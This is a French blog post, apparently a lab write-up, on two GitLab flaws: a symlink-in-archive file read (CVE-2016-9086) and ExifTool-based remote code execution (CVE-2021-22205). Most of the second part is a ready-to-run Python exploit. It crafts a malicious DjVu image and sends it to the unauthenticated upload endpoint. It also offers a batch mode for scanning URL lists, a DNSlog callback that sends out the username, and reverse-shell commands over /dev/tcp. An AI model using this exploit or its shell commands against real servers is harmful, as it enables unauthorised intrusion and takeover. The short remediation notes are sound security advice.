Exploitation des vulnérabilités GitLab : lecture arbitraire de fichiers et exécution de code à distance

GitLab, plateforme de gestion de dépôts Git, a introduit dans la version 8.9 une fonctionnalité d’export et d’import de projets. Une mauvaise gestion des liens symboliques présents dans les archives tar.gz permet à un utilisateur authentifié d’extraire des fichiers hors du répertoire prévu, et donc de lire des fichiers sensibles du serveur. Les verisons concernées vont de 8.9 à 8.13 incluses.

Mise en place de l’environnement

Utilisez l’image Docker suivante :

docker-compose up -d

L’interface Web est accessible sur http://your-ip:8080. Le port SSH est exposé en 10022. Les identifiants administrateur par défaut sont root / vulhub123456.

Étapes de reproduction

  1. Créez un compte et conncetez‑vous.
  2. Créez un projet, puis utilisez l’option GitLab export.
  3. Lors de l’import, uploadez un fichier test.tar.gz spécialement conçu contenant un lien symbolique pointant vers /etc/passwd.
  4. Le contenu du fichier /etc/passwd est alors affiché.

Mesures correctives

  • Mettez à jour GitLab vers la dernière version stable.
  • Imposez des mots de passe robustes pour l’accès aux interfaces d’administration.
  • Renforcez les contrôles d’autorisation lors du traitement des imports de projets.

CVE-2021-22205 : exécution de commandes à distance via ExifTool

À partir de GitLab 11.9, le traitement des images est confié à ExifTool. La vulnérabilité CVE-2021-22204, qui affecte cet outil, permet d’injecter des commandes arbitraires lors de l’analyse d’un fichier image malveillant. GitLab expose une API /uploads/user non authentifiée, ce qui permet à un attaquant distant de soumeettre une image piégée et d’obtenir l’exécution de code sur le serveur.

Versions vulnérables :

  • 11.9 ≤ GitLab (CE/EE) < 13.8.8
  • 13.9 ≤ GitLab (CE/EE) < 13.9.6
  • 13.10 ≤ GitLab (CE/EE) < 13.10.3

Mise en place

L’environnement est identique à celui de la section précédente.

Exploitation

Le script Python ci‑dessous permet de vérifier la présence de la faille, d’exécuter une commande ou de traiter une liste d’URLs.

import requests
from bs4 import BeautifulSoup
import argparse
import sys

def get_token(session, target):
    resp = session.get(target.rstrip('/') + '/users/sign_in', verify=False)
    soup = BeautifulSoup(resp.text, 'lxml')
    # Extraction du token CSRF (16ème balise meta dans l’environnement vulhub)
    return soup.find_all('meta')[16].get('content')

def build_payload(command):
    payload_template = (
        "------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\n"
        "Content-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\n"
        "Content-Type: image/jpeg\r\n\r\n"
        "AT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"
        + command +
        "} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n"
        "------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
    )
    return payload_template

def check_vuln(target):
    sess = requests.Session()
    token = get_token(sess, target)
    payload = build_payload('curl `whoami`.82sm53.dnslog.cn')
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
        "X-CSRF-Token": token,
        "Connection": "close"
    }
    resp = sess.post(target.rstrip('/') + '/uploads/user', data=payload, headers=headers, verify=False)
    if 'Failed to process image' in resp.text:
        print(f"[+] {target} est vulnérable")
    else:
        print(f"[-] {target} ne semble pas vulnérable")

def execute(target, cmd):
    sess = requests.Session()
    token = get_token(sess, target)
    payload = build_payload(cmd)
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
        "X-CSRF-Token": token,
        "Connection": "close"
    }
    resp = sess.post(target.rstrip('/') + '/uploads/user', data=payload, headers=headers, verify=False)
    if 'Failed to process image' in resp.text:
        print(f"[+] Commande exécutée sur {target}")
    else:
        print(f"[-] Échec sur {target}")

def batch_scan(file_path):
    with open(file_path, 'r') as f:
        for line in f:
            url = line.strip()
            if not url.startswith('http'):
                url = 'https://' + url
            check_vuln(url)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='URL cible')
    parser.add_argument('-c', '--command', help='Commande à exécuter')
    parser.add_argument('-f', '--file', help='Fichier contenant une liste d’URLs')
    parser.add_argument('--check', action='store_true', help='Vérifier la vulnérabilité')
    parser.add_argument('--run', action='store_true', help='Lancer une commande')
    args = parser.parse_args()

    if args.check and args.target:
        check_vuln(args.target)
    elif args.run and args.target and args.command:
        execute(args.target, args.command)
    elif args.file:
        batch_scan(args.file)
    else:
        parser.print_help()

Obtention d’un shell inverse :

# Écrire le script de reverse shell
python exploit.py --run -t http://10.211.55.2:8080/ -c "echo 'bash -i >& /dev/tcp/10.211.55.5/6666 0>&1' > /tmp/rev.sh"
# Rendre exécutable
python exploit.py --run -t http://10.211.55.2:8080/ -c "chmod +x /tmp/rev.sh"
# Lancer le shell
python exploit.py --run -t http://10.211.55.2:8080/ -c "/bin/bash /tmp/rev.sh"

Un listener Netcat sur le port 6666 recevra la connexion.

Recommandations

  • Appliquer le correctif officiel en mettant à jour GitLab (lien de téléchargement : https://about.gitlab.com/update/).
  • Restreindre l’accès réseau aux interfaces Web à l’aide de listes blanches.

Étiquettes: gitlab CVE-2016-9086 CVE-2021-22205 ExifTool RCE

Publié le 10 septembre à 21h27